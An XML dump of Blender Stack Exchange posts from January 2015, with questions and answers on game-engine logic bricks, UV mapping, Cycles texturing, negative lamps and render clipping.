  <row Id="21645" PostTypeId="2" ParentId="21638" CreationDate="2015-01-02T21:52:50.610" Score="1" Body="&lt;p&gt;If you want it to have acceleration and inertia, make sure to use this method:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a property to your player called speed(or something that will be easy to understand for what it is used.&lt;/li&gt;&#xA;&lt;li&gt;Set it to Integer, leave it's value &lt;code&gt;0&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;property&lt;/code&gt; sensor and &lt;code&gt;keyboard&lt;/code&gt; sensor to your object. Add that key in keyboard sensor, which will make your character move. Make it true level triggering and set frequency to your own wish- the bigger frequency, the slower character will accelerate. Connect to &lt;code&gt;and&lt;/code&gt; controller.&lt;/li&gt;&#xA;&lt;li&gt;Select interval in &lt;code&gt;property&lt;/code&gt; sensor. Select your 'speed' property in it. Make it's interval from 0 up to 10 or bigger number. Enable true level triggering and set frequency identical to the one used in &lt;code&gt;keyboard&lt;/code&gt; sensor.&lt;/li&gt;&#xA;&lt;li&gt;Connect also &lt;code&gt;property&lt;/code&gt; sensor to and controller.&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;property&lt;/code&gt; actuator. Select your 'speed' property it. Make it &lt;code&gt;Add&lt;/code&gt;. In bottom input type &lt;code&gt;1&lt;/code&gt; or &lt;code&gt;+1&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Now repeat this again, but make sure tu use different interval(if previous was from 1 up to 10, thn now it is from 11 up to 20 etc.) You can play around with the add property and frequency.&lt;/li&gt;&#xA;&lt;li&gt;Now do the same, but invert. Repeat the same proccess, but make sure you use invert in &lt;code&gt;keyboard&lt;/code&gt; sensor and the last interval's biggest number is bigger than in positive keyboard use(if previously your biggest numbers were &lt;code&gt;21&lt;/code&gt; - &lt;code&gt;30&lt;/code&gt; and add property always was +1, than use &lt;code&gt;31&lt;/code&gt; in last property, but anyway, if you add more in that property, make sure to make also that number much bigger than previous(positive keyboard press).&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;property&lt;/code&gt; sensors with intervals(as ymuch as you wish). Use different intervals in each. Connect them to &lt;code&gt;and&lt;/code&gt; controllers and to &lt;code&gt;motion&lt;/code&gt; actuators. Make each motion actuator move a bit faster than previous.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now you should have working acceleration and inertia. Sorry for long text:D If you need, ask me for .blend example here!;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;Here is .blend:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/bybkedsj7a8cwzy/AccInertiaExample.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;DOWNLOAD&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="8363" LastEditDate="2015-04-11T05:42:52.163" LastActivityDate="2015-04-11T05:42:52.163" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21646" PostTypeId="1" CreationDate="2015-01-02T22:02:21.807" Score="1" ViewCount="572" Body="&lt;p&gt;I want to get the UV coordinates of a plane in 3D, for use in some algorithm. How do I get that via python script, when my plane is untextured. The UV coordinates will be the same as the UV-mapping done when applying a texture to a plane, but I don't want to do the texture; just need the coordinates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are projection techniques that I can use to get UV coordinates, but I'm not keen on getting into the math of all that..Is there a direct way of getting the UV coordinates of an untextured object (a plane, for simplicity)?&lt;/p&gt;&#xA;" OwnerUserId="8438" LastActivityDate="2015-01-02T22:02:21.807" Title="Get UV coordinates of a 3D point , without actually applying a texture" Tags="&lt;python&gt;&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21647" PostTypeId="1" CreationDate="2015-01-02T22:23:32.727" Score="2" ViewCount="1127" Body="&lt;p&gt;I'm trying to render a cityscape, but I get some weird dark patches on the buildings all the time. The scene is just conceptional, so it's all without textures or fancy reflections/ transparacy. The buildings are also really simple (most of the time just cubes)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It kind of looks like the effects you get when you have two faces at the same position, or your normals are screwed up. (It's neither of those, I already checked that.) On the buildings close to the camera it's just a little dark lining along some of the edges here and there, but the further the faces get away, the worse it gets and somtimes a complete face is completely dark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meddeling with the light sources or shadow functions doesn't seem to do anything (except disabeling either the &quot;cast&quot; or &quot;receive&quot; shadow option for the material, which stops the effect)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, one more thing, it all really started, once I increased the maximal clipping distance (the city is qite large), even though I don't know if that is the source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pic &lt;a href=&quot;http://www.pasteall.org/pic/81905&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file &lt;a href=&quot;http://www.pasteall.org/blend/33629&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9775" LastEditorUserId="9775" LastEditDate="2015-01-03T09:01:24.093" LastActivityDate="2015-01-05T06:41:39.550" Title="Weird shading effects when rendering at long distance" Tags="&lt;rendering&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21648" PostTypeId="1" CreationDate="2015-01-02T22:26:48.777" Score="1" ViewCount="86" Body="&lt;p&gt;I know there is a problem like this somewhere but i dont know what it is called / what to research so i thought i should ask it here . It is obviously a duplication of a question and i will take it down once i get a link / answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is , why is my mesh getting deformed when i apply weights? Normals are correct , i have removed doubles and it works perfect for the upper half of the body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TDOyz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="1829" LastEditDate="2015-01-02T22:59:18.197" LastActivityDate="2015-01-02T22:59:18.197" Title="Wierd mesh deformation ( maybe a Duplicate? )" Tags="&lt;armature&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21649" PostTypeId="2" ParentId="21605" CreationDate="2015-01-02T23:57:07.083" Score="5" Body="&lt;p&gt;Your problem here could have a few very simple solutions. First, your projectile must be either a dynamic object, or a rigid body object. Static objects can not have angular or linear velocity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution could be that your projectile is getting lodged in the collision bounds of what is probably (in your case) a static character. The best way to make a gun turret is to have a static base that controls the rotation, a no collision barrel parented to the base, and an empty on the end parented to the barrel. Of course, you could just have your no collision barrel Emmit the projectile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X15zX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logic setup of base&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XUcNc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logic setup of Barrel. Note- half of the logic here is simply to limit the rotation so you can not rotate the Barrel into the base.&#xA;(collapsed view)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x8OPa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expanded view of the logic for Barrel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aVNvK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logic setup for the Empty, Note- the property sensor and the property actuator are to limit the ammo, and do not really matter for this answer. Nevertheless, it is way more realistic and funner to have limited ammo, so Your ammo is limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mGpYp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Physics options for the projectile.&#xA;Notice that the X and Z location is locked. that means that the only way the bullet can move (only effects angular and linear velocity) is along the local Y. locking those two axes can be useful if you want to shoot lasers that do not drop due to gravity.If you want to have a hits based projectile instead of a physics based projectile, you can check the box enabling &lt;em&gt;Ghost&lt;/em&gt; option, (below the &lt;em&gt;actor&lt;/em&gt; check box) this will still register the collision, but it will not make the target physically react on collision. you could also then add a armor property to your target, and have each collision remove one of the armor points, then when the target's armor property reached 0 it could disappear. Locking the rotation along the X,Y and Z will only make the projectiles look more realistic if it is physically colliding with the targets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WCTey.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had trouble following that, or simply want to examine the blend to see first hand how Everything works,  you can &lt;strong&gt;&lt;a href=&quot;http://x.27&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Thanks to Blend-Exchange by GiantCowFilms&quot;&gt;always http://x.27&lt;/a&gt;&lt;/strong&gt; download the Blend file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/78/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=78&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-06-10T01:03:53.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21651" PostTypeId="1" CreationDate="2015-01-03T02:48:15.467" Score="1" ViewCount="89" Body="&lt;p&gt;I like using the little search box available in the graph editor and dope sheet to filter the view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use two keywords instead of one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I want to view both loc and rot values for my objects but nothing else, can I achieve that with the search box? In other words, what is the correct syntax for filtering with multiple keywords?&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2015-01-03T02:48:15.467" Title="Blender search boxes -using multiple keywords" Tags="&lt;graph-editor&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21653" PostTypeId="2" ParentId="21552" CreationDate="2015-01-03T03:45:41.127" Score="1" Body="&lt;p&gt;&quot;bullet&quot; is a property that you should put on all your projectiles, that way your weapons will not track to the projectiles being added. all of your projectiles should have this property, only because the weapons behave very odd when they track to the bullets being fired. &quot;target&quot; is the name of the object that that the guns track to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It essentially works like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object &quot;camera&quot; sends out a ray from the ray sensor. if the ray collides with anything that does &lt;em&gt;not&lt;/em&gt; have the property named &quot;bullet&quot;, the object &quot;target&quot; will snap to the position where the ray collided.&#xA;And because your guns are always tracking to the object &quot;target&quot; it will appear, and function as if the guns are always pointing to the center of the screen, wherever the object &quot;camera&quot; is looking.&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-01-03T03:45:41.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21655" PostTypeId="1" CreationDate="2015-01-03T07:22:59.280" Score="1" ViewCount="814" Body="&lt;p&gt;I am trying to apply a UV image with no tiling in Cycles. I have tried using the Texture Coordinate with a Mapping node as suggest in other examples. I have also tried using the Attribute node (I couldn't get that to work at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far using the Texture Coordinate with Mapping nodes does stop the tiling, but it leaves these strange stretched portion of the image going over the rest of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way that I can stop those extra stripes from appearing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example attached&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UQYFe.png&quot; alt=&quot;Rendered example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attached the node setup below &#xA;&lt;img src=&quot;https://i.stack.imgur.com/MlaGx.png&quot; alt=&quot;Node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9753" LastEditorDisplayName="user1853" LastEditDate="2015-01-03T08:49:06.453" LastActivityDate="2016-10-13T13:44:42.553" Title="Cycles texture stretching past the edge" Tags="&lt;cycles-render-engine&gt;&lt;uv&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21656" PostTypeId="2" ParentId="21655" CreationDate="2015-01-03T08:32:40.397" Score="3" Body="&lt;p&gt;Cylces does have the bad habit of stretching the pixels past the edges of the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ygqsa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One quick solution is editing your image and adding a black or transparent border all around. (All you need is one pixel wide ...). &#xA;&lt;img src=&quot;https://i.stack.imgur.com/OuvDq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles will then repeat that border...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can create a file that is a black border around a transparent image and use that as a factor on a mix node to create a color frame past your image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y5FbP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or a different shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x2orU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-03T08:52:45.150" LastActivityDate="2015-01-03T08:52:45.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21657" PostTypeId="1" CreationDate="2015-01-03T09:37:51.170" Score="3" ViewCount="946" Body="&lt;p&gt;I have a complex question, so bear with me. I have 3 primaries, 3 secondaries, and 3 melees. I want a system where you can swap between primary, secondary, and melee when each of which can have a different weapon. I have a very simple &lt;a href=&quot;http://www.pasteall.org/blend/33853&quot; rel=&quot;nofollow&quot;&gt;.blend&lt;/a&gt; to get you started; all it is is basically a camera, and 3 types of primary, secondary, and melee; they all have animations and have different colors to help you. Here is a list of things I want with this system:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Weapon Active&quot; property; each weapon will have its own (&quot;Smg1Active,&quot; &quot;Smg2 Active,&quot; ...), and this will be used in such a way, for example, when a certain weapon is active, this property will be set to 1, and will allow me to make the character move faster and slower based on which item is active.&lt;/li&gt;&#xA;&lt;li&gt;Live weapon swap: If you are selecting the primary, and suddenly the primary is smg2 instead of smg1, I want the start animation for smg2 to occur; smg2 to be active, and smg1 to be gone.&lt;/li&gt;&#xA;&lt;li&gt;Invisibility: This is fairly simple, but when an item is not active I want it to be invisible, as I do not want other cameras to see guns floating.&lt;/li&gt;&#xA;&lt;li&gt;Properties: I want the following properties: &quot;Primary&quot; (Set to 1 when primary is active); &quot;Secondary&quot; (Same but for secondary); &quot;Melee&quot; (Same but for melee); &quot;PrimaryID&quot; (Each weapon has its own id, as in smg1's id is 1, smg2's id is 2, and so forth); &quot;SecondaryID&quot; (Same but for secondary); &quot;MeleeID&quot; (Same but for melee).&lt;/li&gt;&#xA;&lt;li&gt;Everything clean: Try to keep everything nice, and not scattered everywhere.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know that is fairly hard, but I tried so many things but always failed. Try to explain your work very neatly. &lt;strong&gt;I want to always be able to go back, and edit it with ease.&lt;/strong&gt; Thank you for your time!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="12" LastEditDate="2015-01-19T23:16:02.153" LastActivityDate="2015-01-20T10:07:08.767" Title="How to swap between several objects?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21658" PostTypeId="2" ParentId="21627" CreationDate="2015-01-03T11:00:42.433" Score="3" Body="&lt;p&gt;The RNA value comes from the operator named above. Were you have entered &quot;rotate view&quot; needs to be the name of the operator to be run when the key/mouse combination is pressed. The standard operator to rotate the view would be &lt;code&gt;view3d.rotate&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the value of a custom operator, you need to use the value of &lt;code&gt;bl_idname&lt;/code&gt; defined in the operator you wish to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some operators will have other properties that can be set as well -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qYheC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears a little misleading as the options appear disabled, when in fact that shows they are default values, changing the values highlights them and shows an 'X' to return to default values.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-03T11:00:42.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21659" PostTypeId="1" CreationDate="2015-01-03T12:05:08.530" Score="0" ViewCount="1140" Body="&lt;p&gt;How to increase render distance of fire effects?&lt;br&gt;&#xA;I have big scene (and I can't make it smaller) and I have an explosion in it, but it is to far to be rendered correctly, I can see only flying particles but not fire (in smaller scene it is work fine) what should I do? I have increased clipping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I have blender 2,72)&lt;/p&gt;&#xA;" OwnerUserId="9781" LastEditorUserId="2217" LastEditDate="2015-01-03T14:00:36.370" LastActivityDate="2020-10-16T03:55:03.003" Title="How to increase the render distance (fire)" Tags="&lt;rendering&gt;&lt;camera&gt;&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21660" PostTypeId="2" ParentId="21545" CreationDate="2015-01-03T12:25:52.057" Score="1" Body="&lt;p&gt;Okay, I think I've solved it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, make sure all your textures have been assigned to a specific UV map under the Texture/Mapping/Map.  If the map is a normal map, also check Texture/Image Sampling/Normal Map.  Under Texture/Influence, make sure that one of these is checked (depending on the texture type):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;diffuse map -&gt; Diffuse/Color &lt;/li&gt;&#xA;&lt;li&gt;normal map -&gt; Geometry/Normal &lt;/li&gt;&#xA;&lt;li&gt;specular map -&gt; Specular/Intensity&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Finally, when you export to Collada, make sure Texture Options/Include Material Textures is checked.&lt;/p&gt;&#xA;" OwnerUserId="9732" LastActivityDate="2015-01-03T12:25:52.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21661" PostTypeId="2" ParentId="21637" CreationDate="2015-01-03T12:33:17.007" Score="2" Body="&lt;p&gt;You can get a random value that is unique to each object using the Object Info node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xlJqZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use a math node if you want to add the random value to a keyframed value change. The random value will be between 0.0 and 1.0 so you may also find multiplying helpful if you want a larger range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cXMIn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-03T12:33:17.007" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21662" PostTypeId="2" ParentId="21659" CreationDate="2015-01-03T12:40:31.547" Score="1" Body="&lt;p&gt;Go to &lt;em&gt;Proporties -&gt; Camera&lt;/em&gt; and increase this number:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D6P21.png&quot; alt=&quot;Select End in clipping&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to increase End in Clipping. This will increase camera range!&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-01-03T12:40:31.547" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21663" PostTypeId="2" ParentId="21639" CreationDate="2015-01-03T12:48:28.097" Score="2" Body="&lt;p&gt;The bridge edgeloops has an option that can help. The operator options are available by pressing &lt;kbd&gt;F6&lt;/kbd&gt; and can also be found at the bottom of the tool panel on the left &lt;kbd&gt;T&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/42oGI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The twist amount defines which top vertex bridges with which bottom vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fntsD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-03T12:48:28.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21666" PostTypeId="1" CreationDate="2015-01-03T15:04:04.027" Score="1" ViewCount="885" Body="&lt;p&gt;Reguardless of how I set the encoder and the frame rate up, the rendered video is always .avi and it always flickers on the edge of the video. It gets blury and then sharp again about every second. The videos I make are recorded with the Openbrodcaster software, and before I render them with Blender they look much better, even if they have the same bitrate.&lt;/p&gt;&#xA;" OwnerUserId="9783" LastActivityDate="2015-01-03T19:44:05.440" Title="Video editing, encodeing, rendering. Video Always Flickers" Tags="&lt;editing&gt;&lt;video&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21668" PostTypeId="1" CreationDate="2015-01-03T16:18:59.743" Score="2" ViewCount="2516" Body="&lt;p&gt;I know that there is an Edge Split modifier, but it actually splits geometry edges, which causes problems with further modeling. When I use &quot;Shading: Smooth&quot; and then enable Auto Smooth, it works nice, with adjustable smooth angle. But when I export my model as .fbx, it doesn't export these smoothing groups (after exporting, model looks like it has totally &quot;Smooth&quot; shading)&#xA;Do I have to somehow 'apply' Auto Smooth before exporting? I've tried applying Visual Transform, but it didn't helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Exporting as .obj gives the same results, so it's not .fbx export fault.&lt;/p&gt;&#xA;" OwnerUserId="8335" LastEditorUserId="8335" LastEditDate="2015-01-03T17:30:00.193" LastActivityDate="2015-01-03T17:30:00.193" Title="How to export smoothing groups made with Auto Smooth?" Tags="&lt;export&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21669" PostTypeId="1" AcceptedAnswerId="21670" CreationDate="2015-01-03T16:58:48.243" Score="7" ViewCount="3240" Body="&lt;p&gt;In cycles, I just &lt;a href=&quot;http://chat.stackexchange.com/transcript/message/19361414#19361414&quot;&gt;learned&lt;/a&gt;, that you can set a lamp's value to a negative number to create a &lt;strong&gt;&quot;negative lamp&quot;&lt;/strong&gt;. But in a few tests, instead of removing light, it seemed to just cast black light? &lt;strong&gt;What are the lamps actually doing?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="5426" LastEditDate="2015-01-03T17:38:18.520" LastActivityDate="2015-03-11T01:34:49.367" Title="In cycles, do negative lights actually remove light or are they casting &quot;Black&quot; light?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21670" PostTypeId="2" ParentId="21669" CreationDate="2015-01-03T17:03:23.447" Score="12" Body="&lt;p&gt;Regardless of what render engine you are using (either Cycles or Blender Internal),&lt;strong&gt;If you are using a point lamp&lt;/strong&gt;. it is actually removing light, because it is impossible for a lamp to cast black light. Set a lamp's emission color to pure black. and set the strength as high as you want, if you have any other lamp in your scene, emitting light of any other color, with the strength any higher than 0.00, your scene will not show any traces of &quot;black light&quot;&#xA;If you are using an emission shader, set to pure black, then yes it is emitting &quot;black light&quot;&#xA;Lamps can not cast black light, but an emission shader can, and does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also note that there is a difference between setting a lamp to black, and having a positive strength, and setting the lamp to white and having a negative strength. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using an emission shader,  there is also a difference between emitting black light and having a negative lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/76/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=76&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this file, the black cube is emitting black light, the white cube with negative strength is literally removing light. Both appear to be casting a shadow. the white cube with positive strength is emitting light.&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-03-11T01:34:49.367" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21671" PostTypeId="1" CreationDate="2015-01-03T17:16:12.847" Score="3" ViewCount="4520" Body="&lt;p&gt;How can I rotate Vector/Point with python? Could you help me guys?&#xA;Here is screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SUVZM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the left - normalized vectors. I need to rotate according to UpVectopr.&#xA;On the right - non-normalized UpVector and a point. I need to rotate a point with UpVector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be done?&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="5426" LastEditDate="2015-01-03T17:42:49.790" LastActivityDate="2015-01-04T08:21:34.910" Title="Rotate Vector/Point with Python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21672" PostTypeId="2" ParentId="21559" CreationDate="2015-01-03T17:37:02.713" Score="1" Body="&lt;p&gt;You can easily fix this problem by checking one button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EdXzd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;very simply, your bullet is always firing along one axis. When the &quot;Local&quot; box is clicked (the little square L) your bullet will fire along the local axis of the object that is emitting it.&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-03-07T02:05:04.410" LastActivityDate="2015-03-07T02:05:04.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21673" PostTypeId="1" AcceptedAnswerId="21679" CreationDate="2015-01-03T18:00:04.910" Score="1" ViewCount="1170" Body="&lt;p&gt;I am making a game on Windows with BGE and was trying to add a controller instead of a mouse and keyboard.  I cant seem to get blender to recognize the buttons on the controller when I press them like I would with a keyboard or mouse. Is it supposed to recognize that or is my controller driver not working properly? Help would be awesome!&lt;/p&gt;&#xA;" OwnerUserId="9777" LastActivityDate="2019-08-26T09:46:29.483" Title="Possible to put XBOX 360 Controller inputs with logic bricks?" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21674" PostTypeId="1" AcceptedAnswerId="21684" CreationDate="2015-01-03T18:08:42.087" Score="1" ViewCount="1087" Body="&lt;p&gt;I'm fairly new to texturing and have some experience with blender so I'm wondering if anyone knows what's wrong with this picture and what I can do about it.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/A5g1Q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A5g1Q.png&quot; alt=&quot;Weird textures&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this picture shows I can't paint the rest of the model, and I have no idea why. I projected the UV using &quot;Smart Project&quot; and it looks alright to me on the left side. It's also VERY laggy when trying to paint things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also one more thing which is probably an easy fix, when I paint the 2D map on the left side, it doesn't appear on the model.&lt;/p&gt;&#xA;" OwnerUserId="9785" LastEditorUserId="2217" LastEditDate="2015-01-03T18:52:08.340" LastActivityDate="2015-01-03T19:56:26.463" Title="Messed up textures, can't paint most of model" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
